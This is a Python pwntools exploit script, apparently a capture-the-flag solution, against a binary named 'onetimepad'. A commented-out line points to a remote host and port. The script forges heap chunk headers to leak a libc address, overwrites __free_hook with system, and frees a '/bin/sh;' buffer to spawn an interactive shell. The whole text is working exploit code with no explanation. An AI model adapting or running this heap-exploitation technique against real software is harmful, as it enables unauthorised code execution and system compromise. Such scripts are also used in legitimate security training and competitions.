```#!/usr/bin/env python#Author: r4j
from pwn import *from time import sleep
context.terminal=['tmux','new-window']e = ELF('./onetimepad')p = process('./onetimepad')#p = remote('88.198.154.140',31336)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(data):    p.recvuntil('> ')    p.sendline('w')    sleep(0.2)    p.sendline(data)
def read(idx):    p.recvuntil('> ')    p.sendline('r')    sleep(0.2)    p.sendline(str(idx))    return p.recvline().strip()
def edit(idx,data):    p.recvuntil('> ')    p.sendline('e')    sleep(0.2)    p.sendline(str(idx))    sleep(0.2)    p.sendline(data)
def junk(size):    add('A'*size)
add('\x00'*0x650)read(0)
add('A'*8+p64(0x21)) #0add('A'*0x10) #1 00add('A'*0x10) #2 20add('A'*0x10) #3 40add('A'*0x10) #4 60add('A'*0x3a8+p64(0x21)) #5 80add('A'*8+p64(0x21))
read(3)read(4)
edit(4,'')
add('a') #3add('L'*8+p64(0x431)) #4
read(1)add('A'*0x10) #1add('/bin/sh;'+'A'*0x28) #7
leak = u64(read(3).ljust(8,'\x00')) - 0x1bbca0log.info('libc leak: '+hex(leak))libc.address = leak
read(1)read(4)
add('A'*0x10+p64(libc.symbols['__free_hook']))add('a')add(p64(libc.symbols['system']))
read(7)p.interactive()```